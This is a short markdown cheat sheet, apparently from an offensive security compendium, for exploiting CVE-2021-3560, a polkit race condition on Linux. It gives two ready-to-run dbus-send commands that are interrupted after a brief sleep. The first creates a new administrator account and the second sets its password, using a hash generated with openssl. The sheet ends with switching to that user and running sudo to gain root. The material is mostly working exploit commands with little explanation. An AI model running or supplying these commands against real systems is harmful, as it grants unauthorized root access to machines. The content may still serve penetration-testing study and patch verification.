killchain-compendium/exploit/linux/polkit.md

CVE-2021-3560

• Exploit < 0.105-26ubuntu1.1

Racing Condition

• Request creation of account via dbus message and pkexec. sleep time is variable.

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:user1 string:"New Account" int32:1 & sleep 0.005s; kill $!

* Create password via `openssl passwd -6 -salt salt password123`

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$cevuzTZ/QBjzuZG0/ebEeedmcTnhyM8ITUu8K032Cp2XvIibq7voqYagm18bwpLBqrg/l/l6YxTmKKibJz5r10' string:'New Password' & sleep 0.005s; kill $!

• Request is killed after polkits receives it

• Polkit requests uid of user who sent the message, which has been deleted

• Error will be thrown

• Uid turns to root afterwards

• Request succeeds

• su user1 and sudo -s